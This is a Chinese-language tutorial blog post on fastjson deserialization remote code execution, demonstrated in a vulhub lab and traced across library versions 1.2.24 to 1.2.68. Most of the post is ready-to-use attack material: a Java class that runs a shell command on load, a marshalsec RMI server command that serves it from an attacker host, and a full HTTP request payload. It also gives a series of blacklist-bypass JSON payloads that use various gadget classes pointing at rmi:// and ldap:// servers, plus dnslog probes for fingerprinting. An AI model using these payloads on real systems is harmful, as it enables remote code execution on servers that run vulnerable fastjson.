fastjson是阿里巴巴的一个开源的JSON解析库。通常被用于将json和java object之间进行转换。

他比其他json库都快,但是带来的是更多的漏洞。其实fastjson中的漏洞还是其中的AutoType有关:

  • fastjson引入了AutoType,即在序列化的时候,把原始类型记录下来。(基于属性)

1.2.24-rec

我们先举一个最开始的漏洞来理解这个漏洞,之后的漏洞无非是在这个上面将一些恶意类或其他字符加入黑名单
我们使用vulhub来演示

首先先编译一下执行的代码

// javac poc.java
import java.lang.Runtime;
import java.lang.Process;

public class poc {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c", "ping 88s1yo.dnslog.wiki"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

将poc.class上传至服务器。
然后我们还需使用marshalsec-0.0.3-SNAPSHOT-all.jar启动一个RMI服务器

  • RMI,用官方的话来说:RMI 应用程序通常包括两个独立的程序,一个服务器和一个客户端。典型的服务器程序创建一些远程对象,使这些对象的引用可访问,并等待客户端调用这些对象上的方法。典型的客户端程序获取对服务器上一个或多个远程对象的远程引用,然后调用它们的方法。RMI 提供了服务器和客户端通信和来回传递信息的机制。这种应用程序有时被称为分布式对象应用程序。
  • RMI的全称是Rmote Method Invocation,即远程方法调用,具体怎么实现呢?远程服务器提供具体的类和方法,本地会通过某种方式 获得远程类的一个代理,然后通过这个代理调用远程对象的方法,方法的参数是通过序列化与反序列化的方式传递的,所以,1. 只要服务端的对象提供了一个方法,这个方法接收的是一个Object类型的参数,2. 且远程服务器的classpath中存在可利用pop链,那么我们就可以通过在客户端调用这个方法,并传递一个精心构造的对象的方式来攻击rmi服务。
  • 通俗易懂的来说,RMI就是一个机器 执行 另一个机器 给的命令,但是执行的命令是不会显的
  • 首先我们使用python搭建一个简易的服务器:(默认开启8000端口)
python3 -m http.server
  • 所以我们这里需要启动一个RMI服务器让靶机来访问RMI来执行命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8000/#poc" 9999
  • 注意这里使用的是java -cp而不是Java -jar。
  • 我们解压jar包,META-INF文件夹下都有MANIFEST.MF,在MANIFEST.MF中会有一个Main-Class,他是指定入口。如果你的MANIFEST.MF文件中没有Main-Class,就会提示Cant load main-class之类的错误。
  • 所以这里使用-cp 执行,指定marshalsec.jndi.RMIRefServer

向靶场服务器发送Payload,带上RMI的地址:

POST / HTTP/1.1
Host: 127.0.0.1:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
        "autoCommit":true
    }
}

这里解释一下:

  • 前面说过,fastjson序列化的时候,把原始类型记录下来
  • 序列化后的字符串中添加@type属性,存放对象类型
  • 首先我们找到需要调用的类com.sun.rowset.JdbcRowSetImpl,这个类一定会被加载
  • 被攻击的服务器拿到这个恶意的数据就找rmi服务器去执行命令
  • 这个rmi服务器相当于请求8000端口服务器中的poc.class
  • 从rmi请求中得到命令ping 88s1yo.dnslog.wiki
  • 然后被攻击的服务器就回去执行命令

整个过程可以用以下流程图表示

所以说fastjson的漏洞核心就是可以加载任意类,所以在之后的版本中就是一直在完善黑名单

1.2.45开始,fastjson默认关闭了autotype,并且加入了checkAutotype检测机制

设置了黑名单,如果ClassName命中黑名单,程序则直接抛出异常:
autoType is not support.


1.2.41-rce

fastjson在加载到过程中,会在加载类的时候去掉className前面的L和最后的;,所以就有了如下的poc:

{
    "b":{
        "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
        "dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
        "autoCommit":true
    }
}

(autoTypeSupport属性为true才能使用)


1.2.42-rce

由于上一个版本只只过滤了L;,所以又可以通过双写绕过

{
    "b":{
        "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
        "dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
        "autoCommit":true
    }
}

值得一提的是在此版本之后fastjson为了防止安全研究人员分析黑名单中的利用链,把黑名单从原本明文的形式改为了哈希过的黑名单,目的还是为了提高利用的门槛,但是还是有牛人跑出了大部分的包名:
https://github.com/LeadroyaL/fastjson-blacklist


1.2.43-rce

上一个版本中双写L和; 被绕过,所有又增加了一个是否以LL未开头判断,绕过的方法是在目标类前面添加[
poc:

{
    "b":{
        "@type":"[com.sun.rowset.JdbcRowSetImpl"[,{
        "dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
        "autoCommit":true
    }
}

1.2.45-rce

这次使用了新的Gadget绕过黑名单,但是需要在目标服务器上存在mybatis包,版本大于3.0.1且小于3.4.6
poc:

{
    "b":{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
    "data_source":"rmi://xx.x.xx.xx:9999/poc"
    }
}

1.2.47-rce

  • 1.2.33 ≤ Fastjson版本 ≤ 1.2.47,是否开启setAutoTypeSupport都能成功
  • 1.2.25 ≤ Fastjson版本 ≤ 1.2.32,关闭setAutoTypeSupport能成功
  • fastjson cache为true

因为来fastjson中有一个全局缓存,在类加载的时候,

  1. 如果autoType没开启,会先尝试从mapping缓存中获取目标类,如果缓存中有,则直接返回进入之后的反序列化流程。
  2. 如果autoType开启,因为typeName为java.lang.Class不在黑名单,成功绕过检测被解析为Class类型。

java.lang.Class在缓存中肯定有,该类对应的deserializer为MiscCodec,反序列化时会取json串中的val值并加载这个val对应的类Class到全局缓存中。

poc:

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi://xx.x.xx.xx:9999/poc", 
        "autoCommit": true
    }
}

1.2.62-rce

这次又有人找到了新的Gedget绕过了黑名单。
utxName可控,造成JNDI注入

poc:

{
    "b": {
         "@type":"org.apache.xbean.propertyeditor.JndiConverter",
         "AsText":"rmi://xx.x.xx.xx:9999/poc"
    }
}

1.2.66-rce

又又又找到了新的Gadget绕过黑名单
poc:

{
    "b": {
        "@type":"org.apache.shiro.jndi.JndiObjectFactory",
        "resourceName":"ldap://192.168.80.1:1389/Calc"
    }
}
{
    "b": {
        "@type":"br.com.anteros.dbcp.AnterosDBCPConfig",
        "metricRegistry":"ldap://192.168.80.1:1389/Calc"
    }
}
{
    "b": {
        "@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
        "resourceName":"ldap://192.168.80.1:1389/Calc"
    }
}
{
    "b": {
        "@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
        "properties":{
            "@type":"java.util.Properties",
            "UserTransaction":"ldap://192.168.80.1:1399/Calc"
                }
    }
}

1.2.68

在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType。

只要设置@type类型,想反序列化指定类对象的时候,就会抛异常。

(待补充)


判断是否使用fastjson

不闭合花括号判断

一般利用报错判断,例如可以不闭合花括号的方式来进行报错回显,在报错中往往fastjson的字段

区别fastjson和jackson

由于Jackson相对比较严格,它会相纸key与javabean属性对其,只能少不能多key,所以提交{"name":"S", "age":21,"agsbdkjada__ss_d":123}时,jackson会报错,而Fastjson不会报错。

DOS漏洞

当字符串中包含\x转移字符时可能会引发OOM(Out Of Memory内存溢出)的问题

使用Dnslog判断

  • 方法一:利用java.net.Inet[4|6]Address地址
    {"@type":"java.net.Inet4Address","val":"dnslog"}
    {"@type":"java.net.Inet6Address","val":"dnslog"}

  • 方法二:利用java.net.InetSocketAddress
    {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

  • 方法三:利用java.net.URL

{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

Last modification:June 9th, 2021 at 07:55 pm
如果觉得我的文章对你有用,请随意赞赏